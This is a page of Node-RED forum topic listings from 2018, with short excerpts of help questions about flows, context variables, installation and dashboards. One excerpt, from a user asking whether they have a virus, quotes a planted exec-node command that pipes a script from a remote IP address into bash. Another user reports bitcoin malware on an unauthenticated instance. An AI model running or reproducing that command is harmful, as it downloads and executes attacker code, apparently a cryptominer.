# General

**URL:** https://discourse.nodered.org/c/general/7.md?page=945

[Latest](https://discourse.nodered.org/latest.md) · [Categories](https://discourse.nodered.org/categories.md) · [Tags](https://discourse.nodered.org/tags.md)

**Page:** 946

---

## [Advice needed on mysql / for loop](https://discourse.nodered.org/t/advice-needed-on-mysql-for-loop/3526)

<div class="topic-metadata">

**Author:** [@RogierQ](https://discourse.nodered.org/u/RogierQ)\
**Replies:** 5\
**Last updated:** [29 September 2018 16:16 UTC](https://discourse.nodered.org/t/advice-needed-on-mysql-for-loop/3526 "2018-09-29T16:16:32Z")

</div>

I need some advice how to handle the data in the best way i get reservations from a xml, then i loop trough it with a for loop. then on every step i use node.send to output the values. these values i want to check wit…

---

## [Delete is affecting the flow.variables](https://discourse.nodered.org/t/delete-is-affecting-the-flow-variables/3539)

<div class="topic-metadata">

**Author:** [@JoseGodinho](https://discourse.nodered.org/u/JoseGodinho)\
**Replies:** 4\
**Last updated:** [28 September 2018 15:43 UTC](https://discourse.nodered.org/t/delete-is-affecting-the-flow-variables/3539 "2018-09-28T15:43:28Z")

</div>

Hello All I have this following conundrum Consider that I have the following flow variable and the following function node Tudo =flow.get('firstFloorState'); delete Tudo\["temp.guest"\]; delete Tudo\["temp.girl"\]; …

---

## [IoT Node-red AutoStart](https://discourse.nodered.org/t/iot-node-red-autostart/3527)

<div class="topic-metadata">

**Author:** [@qwerty](https://discourse.nodered.org/u/qwerty)\
**Replies:** 1\
**Last updated:** [28 September 2018 14:53 UTC](https://discourse.nodered.org/t/iot-node-red-autostart/3527 "2018-09-28T14:53:52Z")

</div>

have a Siemens IoT where I installed Node-RED. I'm following a project that is based on receiving data and save them in a db via Node-RED and must be active 24h every day. I wanted to know if there was an auto-run in ca…

---

## [Export functionality clears node properties](https://discourse.nodered.org/t/export-functionality-clears-node-properties/3470)

<div class="topic-metadata">

**Author:** [@jewendt](https://discourse.nodered.org/u/jewendt)\
**Replies:** 4\
**Last updated:** [28 September 2018 12:47 UTC](https://discourse.nodered.org/t/export-functionality-clears-node-properties/3470 "2018-09-28T12:47:33Z")

</div>

When exporting certain nodes. For example Azure Documents, some of the key properties are not exported. I understand the security concerns about exporting keys and such but there should be an option to export everythin…

---

## [How do you set a 'node' context variable?](https://discourse.nodered.org/t/how-do-you-set-a-node-context-variable/3519)

<div class="topic-metadata">

**Author:** [@zenofmud](https://discourse.nodered.org/u/zenofmud)\
**Replies:** 4\
**Last updated:** [28 September 2018 06:17 UTC](https://discourse.nodered.org/t/how-do-you-set-a-node-context-variable/3519 "2018-09-28T06:17:47Z")

</div>

In the documentation it talks about the 'scope' of a particular context. Global and flow I understand, but not node. To set a flow context variable you use something like flow.set("myData", msg.payload, "storeInFile"); …

---

## [If a flow works in one case, it should work in the second case -shouldn't it?](https://discourse.nodered.org/t/if-a-flow-works-in-one-case-it-should-work-in-the-second-case-shouldnt-it/3293)

<div class="topic-metadata">

**Author:** [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\
**Replies:** 10\
**Last updated:** [28 September 2018 05:06 UTC](https://discourse.nodered.org/t/if-a-flow-works-in-one-case-it-should-work-in-the-second-case-shouldnt-it/3293 "2018-09-28T05:06:53Z")

</div>

As I have said before, I need to discuss the problem because until I do, I can't seem to move on. Be it the best, worst, or what ever: I have a few nodes in a flow which work and do what they should do. I have just go…

---

## [Reallocating messages to different outputs](https://discourse.nodered.org/t/reallocating-messages-to-different-outputs/3515)

<div class="topic-metadata">

**Author:** [@themanfrommoon](https://discourse.nodered.org/u/themanfrommoon)\
**Replies:** 16\
**Last updated:** [27 September 2018 21:52 UTC](https://discourse.nodered.org/t/reallocating-messages-to-different-outputs/3515 "2018-09-27T21:52:17Z")

</div>

Hello, I have several temperature sensors and I would like to have the different temperatures displayed on several gauges and graphs. I would like to seperate the values by using their topics. How can I seperate the d…

---

## [Node RED installation not working](https://discourse.nodered.org/t/node-red-installation-not-working/3503)

<div class="topic-metadata">

**Author:** [@sdhomne](https://discourse.nodered.org/u/sdhomne)\
**Replies:** 3\
**Last updated:** [27 September 2018 20:47 UTC](https://discourse.nodered.org/t/node-red-installation-not-working/3503 "2018-09-27T20:47:49Z")

</div>

Hi All, I have installed Node.js and while installing Node RED using step 2 at https://nodered.org/docs/platforms/windows, it is giving following errors: npm ERR! code ENOTFOUND npm ERR! errno ENOTFOUND (some mo…

---

## [Have I got a virus in Node-red?](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450)

<div class="topic-metadata">

**Author:** [@Alis5](https://discourse.nodered.org/u/Alis5)\
**Replies:** 5\
**Last updated:** [27 September 2018 19:46 UTC](https://discourse.nodered.org/t/have-i-got-a-virus-in-node-red/3450 "2018-09-27T19:46:54Z")

</div>

Hi, I get alot of new tabs, with 3 things in them. Timestamp, exec and msg.payload All new tabs look the same. The exce node has this in it: "curl -s http://192.99.142.226:8220/mr.sh | bash -sh" Which seem to be a c…

---

## [How can I convert a buffer \[4\] into a number value?](https://discourse.nodered.org/t/how-can-i-convert-a-buffer-4-into-a-number-value/3506)

<div class="topic-metadata">

**Author:** [@aabbas](https://discourse.nodered.org/u/aabbas)\
**Replies:** 1\
**Last updated:** [27 September 2018 18:06 UTC](https://discourse.nodered.org/t/how-can-i-convert-a-buffer-4-into-a-number-value/3506 "2018-09-27T18:06:55Z")

</div>

Hello, I have KES - KNX Energy Saver - REF: ZN1IO-KES. I like to get the energy consumption on my node red-dashboad. But i have problem with it. I got this message on my debug window ( knx: write : msg.payload : Object …

---

## [Pass msg.name to a js variable in core template](https://discourse.nodered.org/t/pass-msg-name-to-a-js-variable-in-core-template/3501)

<div class="topic-metadata">

**Author:** [@tkdim](https://discourse.nodered.org/u/tkdim)\
**Replies:** 2\
**Last updated:** [27 September 2018 15:45 UTC](https://discourse.nodered.org/t/pass-msg-name-to-a-js-variable-in-core-template/3501 "2018-09-27T15:45:46Z")

</div>

I want to pass an array of objects from my flow to a js variable inside core template node and use them as input in a javascript program and it is not working. my sample flow: \[{"id":"9f68c4b6.99ed08","type":"tab","lab…

---

## [Node-RED Deploy failed with EACCES:permission denied](https://discourse.nodered.org/t/node-red-deploy-failed-with-eacces-permission-denied/749)

<div class="topic-metadata">

**Author:** [@IoTPlay](https://discourse.nodered.org/u/IoTPlay)\
**Replies:** 5\
**Last updated:** [27 September 2018 14:10 UTC](https://discourse.nodered.org/t/node-red-deploy-failed-with-eacces-permission-denied/749 "2018-09-27T14:10:11Z")

</div>

Hi, have a new problem that creaped up with Projects, after deploying the project, and on Deploying a change, I get: Node-RED Deploy failed: {"error";"EACCES","message", "EACCES:permission denied, rename '/data/proj…

---

## [How Fix it i got bitcoin mulware](https://discourse.nodered.org/t/how-fix-it-i-got-bitcoin-mulware/3459)

<div class="topic-metadata">

**Author:** [@junoprima](https://discourse.nodered.org/u/junoprima)\
**Replies:** 1\
**Last updated:** [26 September 2018 09:22 UTC](https://discourse.nodered.org/t/how-fix-it-i-got-bitcoin-mulware/3459 "2018-09-26T09:22:12Z")

</div>

Hello Everyon plz help me my node-red got bitcoin script mulware like this because i'm not authen node-red how can i fix it

---

## [Warning in node red console](https://discourse.nodered.org/t/warning-in-node-red-console/3307)

<div class="topic-metadata">

**Author:** [@garywilson4](https://discourse.nodered.org/u/garywilson4)\
**Replies:** 4\
**Last updated:** [27 September 2018 11:30 UTC](https://discourse.nodered.org/t/warning-in-node-red-console/3307 "2018-09-27T11:30:44Z")

</div>

20 Sep 14:26:27 - \[warn\] nodes/core/io/lib/mqtt.js is deprecated and will be removed in a future release of Nod e-RED. Please report this usage to the Node-RED mailing list. 20 Sep 14:26:27 - \[warn\] nodes/core/io/lib/mqt…

---

## [How to send REST request to nodered server to set/see message payload](https://discourse.nodered.org/t/how-to-send-rest-request-to-nodered-server-to-set-see-message-payload/3473)

<div class="topic-metadata">

**Author:** [@aoighost](https://discourse.nodered.org/u/aoighost)\
**Replies:** 6\
**Last updated:** [27 September 2018 10:55 UTC](https://discourse.nodered.org/t/how-to-send-rest-request-to-nodered-server-to-set-see-message-payload/3473 "2018-09-27T10:55:45Z")

</div>

Is there any way to send a REST request to node red and set/see msg.payload?

---

## [How to set dashboard from split message](https://discourse.nodered.org/t/how-to-set-dashboard-from-split-message/3479)

<div class="topic-metadata">

**Author:** [@junoprima](https://discourse.nodered.org/u/junoprima)\
**Replies:** 1\
**Last updated:** [27 September 2018 09:31 UTC](https://discourse.nodered.org/t/how-to-set-dashboard-from-split-message/3479 "2018-09-27T09:31:32Z")

</div>

I have a function to split from message payload and save to mysql but i need to show in dash board also now i can get only first message how can i do this var newMsg = msg.payload.split(','); humidity = { payload: newMs…

---

## [global.get("Variable")](https://discourse.nodered.org/t/global-get-variable/3475)

<div class="topic-metadata">

**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\
**Replies:** 2\
**Last updated:** [27 September 2018 03:40 UTC](https://discourse.nodered.org/t/global-get-variable/3475 "2018-09-27T03:40:29Z")

</div>

Is it possible to do a global.get that is set to a variable? I want to build my variable and get the global data of that variable. msg.payload = msg.payload + "Servers"; var servers=global.get('msg.payload');

---

## [Node red keep restarting](https://discourse.nodered.org/t/node-red-keep-restarting/3419)

<div class="topic-metadata">

**Author:** [@mshaz](https://discourse.nodered.org/u/mshaz)\
**Replies:** 4\
**Last updated:** [26 September 2018 23:52 UTC](https://discourse.nodered.org/t/node-red-keep-restarting/3419 "2018-09-26T23:52:42Z")

</div>

hi My node-red keep restarting and i can't open it to copy all the flows. Is there a way to get the flows from terminal. Thank you.

---

## [Answered - Clear Missing Dependencies](https://discourse.nodered.org/t/answered-clear-missing-dependencies/3468)

<div class="topic-metadata">

**Author:** [@DCHuber](https://discourse.nodered.org/u/DCHuber)\
**Replies:** 5\
**Last updated:** [26 September 2018 22:12 UTC](https://discourse.nodered.org/t/answered-clear-missing-dependencies/3468 "2018-09-26T22:12:14Z")

</div>

G'day all, I've ran into a few issues that I will try to address one at a time. I'm not sure if this first item is a bug with Node-RED, or if I'm just doing it wrong. ISSUE: Unable to remove node package after I've …

---

## [Run SSH commands from within a flow](https://discourse.nodered.org/t/run-ssh-commands-from-within-a-flow/3453)

<div class="topic-metadata">

**Author:** [@nodecentral](https://discourse.nodered.org/u/nodecentral)\
**Replies:** 17\
**Last updated:** [26 September 2018 20:49 UTC](https://discourse.nodered.org/t/run-ssh-commands-from-within-a-flow/3453 "2018-09-26T20:49:20Z")

</div>

Hi, Is it possible to run SSH commands either locally or on remote systems via node-red and process some sort of reply ? For example how can I run the following command on a remote computer 192.168.1.234 port 22 and ge…

---

## [Has default behaviour of node context changed in v0.19](https://discourse.nodered.org/t/has-default-behaviour-of-node-context-changed-in-v0-19/3464)

<div class="topic-metadata">

**Author:** [@cymplecy](https://discourse.nodered.org/u/cymplecy)\
**Replies:** 4\
**Last updated:** [26 September 2018 20:37 UTC](https://discourse.nodered.org/t/has-default-behaviour-of-node-context-changed-in-v0-19/3464 "2018-09-26T20:37:47Z")

</div>

Before I go down a convoluted debugging route with a function node I made, can I check if something has changed or not. i "thought" that node context survived node deployment in the past (0.18.7) but it doesn't seem to …

---

## [Temperature controlled PWM Fan](https://discourse.nodered.org/t/temperature-controlled-pwm-fan/2567)

<div class="topic-metadata">

**Author:** [@Gummix](https://discourse.nodered.org/u/Gummix)\
**Replies:** 15\
**Last updated:** [26 September 2018 19:19 UTC](https://discourse.nodered.org/t/temperature-controlled-pwm-fan/2567 "2018-09-26T19:19:52Z")

</div>

Hello, I am looking for a way to control a PWM fan depending on a measured temperature. Fan is a Noctua NF A12 PWM which is connected via a PCA9685 with the Raspberry. Temperaturesensor is a DS18S20. So I know that th…

---

## [Broken deploy icon](https://discourse.nodered.org/t/broken-deploy-icon/3457)

<div class="topic-metadata">

**Author:** [@uma](https://discourse.nodered.org/u/uma)\
**Replies:** 1\
**Last updated:** [26 September 2018 06:47 UTC](https://discourse.nodered.org/t/broken-deploy-icon/3457 "2018-09-26T06:47:19Z")

</div>

Sometimes the deploy icon changes to a jagged/broken version as above. Nodes don't behave properly when this happens- configuration data et al disappears. This fixes itself on node-red restart. Could someone from the n…

---

## [Lost Node-Red node AGAIN](https://discourse.nodered.org/t/lost-node-red-node-again/2131)

<div class="topic-metadata">

**Author:** [@scargill](https://discourse.nodered.org/u/scargill)\
**Replies:** 19\
**Last updated:** [25 September 2018 20:22 UTC](https://discourse.nodered.org/t/lost-node-red-node-again/2131 "2018-09-25T20:22:34Z")

</div>

Thank heavens for frequent backups. This morning on my Raspberry Pi 3 B+ I noticed that node-red-contrib-blynk-ws was a version behind and after patiently doing a backup using the SD-backup program, and in the /home/pi/.…

---

## [How to: login, navigate, GET html, find in string](https://discourse.nodered.org/t/how-to-login-navigate-get-html-find-in-string/3435)

<div class="topic-metadata">

**Author:** [@alanca](https://discourse.nodered.org/u/alanca)\
**Replies:** 5\
**Last updated:** [25 September 2018 19:15 UTC](https://discourse.nodered.org/t/how-to-login-navigate-get-html-find-in-string/3435 "2018-09-25T19:15:58Z")

</div>

Hello, I'm trying to create a flow in which I inject an hourly request to a HTTP node which logs in onto a web page, afterwards navigate to a different page on that website using a URL (which requires being logged in f…

---

## [Array Value Equals String](https://discourse.nodered.org/t/array-value-equals-string/3451)

<div class="topic-metadata">

**Author:** [@ryanjohnson00](https://discourse.nodered.org/u/ryanjohnson00)\
**Replies:** 2\
**Last updated:** [25 September 2018 17:57 UTC](https://discourse.nodered.org/t/array-value-equals-string/3451 "2018-09-25T17:57:01Z")

</div>

I am trying to put an "if" in my code. My output\[3\] is debugging as a string and that is the value of the string. This if is not working to return my output\[2\]. Any suggestions? var lines = msg.payload.split("~~"); va…

---

## [Flow disappeared but running](https://discourse.nodered.org/t/flow-disappeared-but-running/3446)

<div class="topic-metadata">

**Author:** [@Joao](https://discourse.nodered.org/u/Joao)\
**Replies:** 1\
**Last updated:** [25 September 2018 17:32 UTC](https://discourse.nodered.org/t/flow-disappeared-but-running/3446 "2018-09-25T17:32:00Z")

</div>

I have 1 flow that disappeared but still running. How can i retrieve the nodes of that flow.i can not deploy the NR. I check the flow\_.json and seems the nodes are there but the flow statement is not.

---

## [Playing with timestamps](https://discourse.nodered.org/t/playing-with-timestamps/3222)

<div class="topic-metadata">

**Author:** [@JayDickson](https://discourse.nodered.org/u/JayDickson)\
**Replies:** 9\
**Last updated:** [25 September 2018 15:56 UTC](https://discourse.nodered.org/t/playing-with-timestamps/3222 "2018-09-25T15:56:21Z")

</div>

I'm working on a flow that is chopping up a data feed and pushing it into influxDB to use for visual monitoring and alerts. For my previous uses, I had simply been generating a timestamp at the time the message is sent o…

---

## [Cron not found problem](https://discourse.nodered.org/t/cron-not-found-problem/3418)

<div class="topic-metadata">

**Author:** [@jhon.zambrano](https://discourse.nodered.org/u/jhon.zambrano)\
**Replies:** 4\
**Last updated:** [25 September 2018 13:29 UTC](https://discourse.nodered.org/t/cron-not-found-problem/3418 "2018-09-25T13:29:51Z")

</div>

Hi, recently i have seen this message on debug , after this message, sometimes Deploy button detect changes on my flows trying to add new flows and nodes Regards ! jhon

---

## [Can't load a node beetween users](https://discourse.nodered.org/t/cant-load-a-node-beetween-users/3408)

<div class="topic-metadata">

**Author:** [@Balouzard](https://discourse.nodered.org/u/Balouzard)\
**Replies:** 6\
**Last updated:** [25 September 2018 13:14 UTC](https://discourse.nodered.org/t/cant-load-a-node-beetween-users/3408 "2018-09-25T13:14:25Z")

</div>

Hello everyone ! I'm having an issue using node-red. Basically I programmed a pretty complex automation system. I did it all with my default user (pi). I needed some 3rd party nodes so I installed them using npm (since …

[Previous page](https://discourse.nodered.org/c/general/7.md?page=944)

[Next page](https://discourse.nodered.org/c/general/7.md?page=946)
